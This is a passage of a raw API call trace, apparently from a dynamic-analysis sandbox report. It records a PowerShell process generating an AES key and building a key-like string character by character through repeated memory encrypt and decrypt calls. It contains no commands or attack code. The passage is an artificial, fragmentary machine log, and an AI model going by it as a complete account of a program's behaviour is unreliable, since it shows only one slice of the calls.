lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0194.889] EtwEventActivityIdControl () returned 0x0 [0194.889] EtwEventActivityIdControl () returned 0x0 [0194.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.890] EtwEventActivityIdControl () returned 0x0 [0194.890] EtwEventActivityIdControl () returned 0x0 [0194.890] EtwEventActivityIdControl () returned 0x0 [0194.892] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.893] EtwEventActivityIdControl () returned 0x0 [0194.893] EtwEventActivityIdControl () returned 0x0 [0194.893] EtwEventActivityIdControl () returned 0x0 [0195.010] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cd48) returned 1 [0195.012] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68d00) returned 1 [0195.012] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.013] CryptExportKey (in: hKey=0x5c68d00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0195.013] CryptExportKey (in: hKey=0x5c68d00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x238d89c, pdwDataLen=0x5a2e79c | out: pbData=0x238d89c*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0195.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.014] EtwEventActivityIdControl () returned 0x0 [0195.014] EtwEventActivityIdControl () returned 0x0 [0195.014] EtwEventActivityIdControl () returned 0x0 [0195.016] SysStringLen (param_1="") returned 0x8 [0195.016] SysStringLen (param_1="X") returned 0x8 [0195.016] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.016] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0195.016] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0195.017] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.017] SysStringLen (param_1="Xx") returned 0x8 [0195.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.018] SysStringLen (param_1="璥鏷릦ꙸ諿䟢唴") returned 0x8 [0195.018] SysStringLen (param_1="璥鏷릦ꙸ諿䟢唴") returned 0x8 [0195.018] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.018] SysStringLen (param_1="Xxc") returned 0x8 [0195.018] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.018] SysStringLen (param_1="놨೜ᚪ℮斞逮㝜") returned 0x8 [0195.018] SysStringLen (param_1="놨೜ᚪ℮斞逮㝜") returned 0x8 [0195.018] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.018] SysStringLen (param_1="Xxc2") returned 0x8 [0195.018] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.019] SysStringLen (param_1="＾ࣥ懶垾協㕘诛") returned 0x8 [0195.019] SysStringLen (param_1="＾ࣥ懶垾協㕘诛") returned 0x8 [0195.019] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.019] SysStringLen (param_1="Xxc2p") returned 0x8 [0195.019] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.019] SysStringLen (param_1="焲翼齒婆᰺仐霣視") returned 0x8 [0195.019] SysStringLen (param_1="焲翼齒婆᰺仐霣視") returned 0x8 [0195.019] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.019] SysStringLen (param_1="Xxc2pK") returned 0x8 [0195.019] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.020] SysStringLen (param_1="乼刁芣⮬愲剬ﮝ") returned 0x8 [0195.020] SysStringLen (param_1="乼刁芣⮬愲剬ﮝ") returned 0x8 [0195.020] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.020] SysStringLen (param_1="Xxc2pKO") returned 0x8 [0195.020] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.020] SysStringLen (param_1="쁫藦㉑讆㵆䊁") returned 0x8 [0195.020] SysStringLen (param_1="쁫藦㉑讆㵆䊁") returned 0x8 [0195.020] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.020] SysStringLen (param_1="Xxc2pKOv") returned 0x8 [0195.021] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.021] SysStringLen (param_1="飌︯簎鰮煗㖌") returned 0x8 [0195.021] SysStringLen (param_1="飌︯簎鰮煗㖌") returned 0x8 [0195.021] SysStringLen (param_1="飌︯簎鰮煗㖌") returned 0x8 [0195.021] SysStringLen (param_1="飌︯簎鰮煗㖌") returned 0x10 [0195.021] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.022] SysStringLen (param_1="Xxc2pKOvm욺鏖움េ弁Ȥ") returned 0x10 [0195.022] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.022] SysStringLen (param_1="飌︯簎鰮煗㖌흊홂鍽⛢썑꛱ꪶව") returned 0x10 [0195.022] SysStringLen (param_1="飌︯簎鰮煗㖌흊홂鍽⛢썑꛱ꪶව") returned 0x10 [0195.022] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.022] SysStringLen (param_1="Xxc2pKOvm3鏖움េ弁Ȥ") returned 0x10 [0195.022] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.022] SysStringLen (param_1="飌︯簎鰮煗㖌⎉弅릺籶൬㍩") returned 0x10 [0195.022] SysStringLen (param_1="飌︯簎鰮煗㖌⎉弅릺籶൬㍩") returned 0x10 [0195.022] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.023] SysStringLen (param_1="Xxc2pKOvm30움េ弁Ȥ") returned 0x10 [0195.023] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.023] SysStringLen (param_1="飌︯簎鰮煗㖌附ᮝ铦餲꧳⏆㼴譍") returned 0x10 [0195.023] SysStringLen (param_1="飌︯簎鰮煗㖌附ᮝ铦餲꧳⏆㼴譍") returned 0x10 [0195.023] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.023] SysStringLen (param_1="Xxc2pKOvm30aេ弁Ȥ") returned 0x10 [0195.023] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.023] SysStringLen (param_1="飌︯簎鰮煗㖌爿䨀졥ꘞ閪灡㞁履") returned 0x10 [0195.024] SysStringLen (param_1="飌︯簎鰮煗㖌爿䨀졥ꘞ閪灡㞁履") returned 0x10 [0195.024] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.024] SysStringLen (param_1="Xxc2pKOvm30aY弁Ȥ") returned 0x10 [0195.024] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.024] SysStringLen (param_1="飌︯簎鰮煗㖌踇﵇绹덒鯯⏍擥") returned 0x10 [0195.024] SysStringLen (param_1="飌︯簎鰮煗㖌踇﵇绹덒鯯⏍擥") returned 0x10 [0195.024] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.024] SysStringLen (param_1="Xxc2pKOvm30aY6Ȥ") returned 0x10 [0195.024] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.025] SysStringLen (param_1="飌︯簎鰮煗㖌꼂쁧㰵꽱虠紱霝ꠦ") returned 0x10 [0195.025] SysStringLen (param_1="飌︯簎鰮煗㖌꼂쁧㰵꽱虠紱霝ꠦ") returned 0x10 [0195.025] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.025] SysStringLen (param_1="Xxc2pKOvm30aY6A") returned 0x10 [0195.025] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.025] SysStringLen (param_1="飌︯簎鰮煗㖌⹫籖볭崕鵜绍覢첱") returned 0x10 [0195.025] SysStringLen (param_1="飌︯簎鰮煗㖌⹫籖볭崕鵜绍覢첱") returned 0x10 [0195.025] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.026] SysStringLen (param_1="Xxc2pKOvm30aY6Af") returned 0x10 [0195.026] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.026] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰") returned 0x10 [0195.026] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰") returned 0x10 [0195.026] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰") returned 0x10 [0195.026] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰") returned 0x18 [0195.027] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.027] SysStringLen (param_1="Xxc2pKOvm30aY6AfB竎௲䕰죤쳾ग़陋") returned 0x18 [0195.027] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.028] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰꒴ੵ渪䝂⠀ǜۢ") returned 0x18 [0195.028] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰꒴ੵ渪䝂⠀ǜۢ") returned 0x18 [0195.028] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.028] SysStringLen (param_1="Xxc2pKOvm30aY6AfBp௲䕰죤쳾ग़陋") returned 0x18 [0195.028] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.028] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰㦰㭚騥륎쟊䎢⶟罼") returned 0x18 [0195.028] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰㦰㭚騥륎쟊䎢⶟罼") returned 0x18 [0195.028] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.028] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR䕰죤쳾ग़陋") returned 0x18 [0195.028] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.029] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰鸊꼳樺炾険᭓螀ꑼ") returned 0x18 [0195.029] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰鸊꼳樺炾険᭓螀ꑼ") returned 0x18 [0195.029] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.029] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR3죤쳾ग़陋") returned 0x18 [0195.029] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.029] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰좎粹豕⊝䤮뚽嗶匧") returned 0x18 [0195.029] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰좎粹豕⊝䤮뚽嗶匧") returned 0x18 [0195.029] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.029] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR34쳾ग़陋") returned 0x18 [0195.030] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.030] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰쟗澜\竜共봹ꉈ⋷) returned 0x18 [0195.030] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰쟗澜\竜共봹ꉈ⋷) returned 0x18 [0195.030] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.030] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346ग़陋") returned 0x18 [0195.030] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.030] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰嵳러詆ᵝ쩋⊰") returned 0x18 [0195.030] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰嵳러詆ᵝ쩋⊰") returned 0x18 [0195.030] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.031] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346i陋") returned 0x18 [0195.031] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.031] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰㌺\쓛읧嗫쐍蹵喓⊞) returned 0x18 [0195.031] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰㌺\쓛읧嗫쐍蹵喓⊞) returned 0x18 [0195.031] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.031] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF") returned 0x18 [0195.031] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.031] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂") returned 0x18 [0195.032] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂") returned 0x18 [0195.032] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂") returned 0x18 [0195.032] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂") returned 0x20 [0195.032] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.032] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0궍ඃ砉脦ԣ㓱㢚") returned 0x20 [0195.032] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.032] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂녽姳췮㥪渼揠䓄") returned 0x20 [0195.032] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂녽姳췮㥪渼揠䓄") returned 0x20 [0195.032] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.033] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Qඃ砉脦ԣ㓱㢚") returned 0x20 [0195.033] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.033] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂볛꧇귔襝峿Ⴘ예元") returned 0x20 [0195.033] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂볛꧇귔襝峿Ⴘ예元") returned 0x20 [0195.033] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.033] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+砉脦ԣ㓱㢚") returned 0x20 [0195.033] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.033] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂暷垲ጳ믟圔睑䛖씞") returned 0x20 [0195.033] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂暷垲ጳ믟圔睑䛖씞") returned 0x20 [0195.033] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.034] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1脦ԣ㓱㢚") returned 0x20 [0195.034] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.034] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂₆䟶縻쳿㹤ﺩ帎") returned 0x20 [0195.034] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂₆䟶縻쳿㹤ﺩ帎") returned 0x20 [0195.034] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.034] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1Oԣ㓱㢚") returned 0x20 [0195.034] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.036] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂各儻붢鿧戨궼惝槸") returned 0x20 [0195.062] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂各儻붢鿧戨궼惝槸") returned 0x20 [0195.062] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.062] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1Ol㓱㢚") returned 0x20 [0195.063] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.063] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂萜툮鮲牠\韛Ҽ≍) returned 0x20 [0195.063] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂萜툮鮲牠\韛Ҽ≍) returned 0x20 [0195.063] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.063] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1Oll㢚") returned 0x20 [0195.063] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.063] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂漂띺䂫遢둥ൔ㲬") returned 0x20 [0195.063] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂漂띺䂫遢둥ൔ㲬") returned 0x20 [0195.063] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.064] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1Ollj") returned 0x20 [0195.064] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.064] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉") returned 0x20 [0195.065] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉") returned 0x20 [0195.070] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉") returned 0x20 [0195.187] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉") returned 0x28 [0195.187] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.188] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljG쮵㔒࿦䞨╳ￛꖲ") returned 0x28 [0195.188] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.188] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉᷁餞恽휶ꭄ穰姏愺") returned 0x28 [0195.188] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉᷁餞恽휶ꭄ穰姏愺") returned 0x28 [0195.188] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.188] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt㔒࿦䞨╳ￛꖲ") returned 0x28 [0195.188] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.188] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉眥鲁揫傣⚶⨑") returned 0x28 [0195.188] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉眥鲁揫傣⚶⨑") returned 0x28 [0195.188] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.188] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8࿦䞨╳ￛꖲ") returned 0x28 [0195.188] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.188] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉赿ȅଲᬭ밅췎휦") returned 0x28 [0195.189] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉赿ȅଲᬭ밅췎휦") returned 0x28 [0195.189] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.189] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8t䞨╳ￛꖲ") returned 0x28 [0195.189] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.189] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉歠捤终쯱솳爝쟮") returned 0x28 [0195.189] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉歠捤终쯱솳爝쟮") returned 0x28 [0195.189] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.189] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tF╳ￛꖲ") returned 0x28 [0195.189] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.189] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉슔鳱呱肴婉㍕㱊抝") returned 0x28 [0195.189] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉슔鳱呱肴婉㍕㱊抝") returned 0x28 [0195.189] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.189] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tFkￛꖲ") returned 0x28 [0195.189] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.190] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉㸎垶쓲妰쫬썽") returned 0x28 [0195.190] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉㸎垶쓲妰쫬썽") returned 0x28 [0195.190] SystemFunction041 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.191] SysStringLen (param_1="Xxc2pKOvm30aY6AfBpR346iF0Q+1OlljGt8tFkaꖲ") returned 0x28 [0195.191] SystemFunction040 (in: Memory=0x3c0ea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0ea4) returned 0x0 [0195.191] SysStringLen (param_1="飌︯簎鰮煗㖌䉛粛ﾾ䌋突稩孰罚锘竪싇ૉ덜䞂蔝䉻딨챇錌貨梉迕胍篍춧쨾㉻抔輜") returned 0x28 [0195.191] 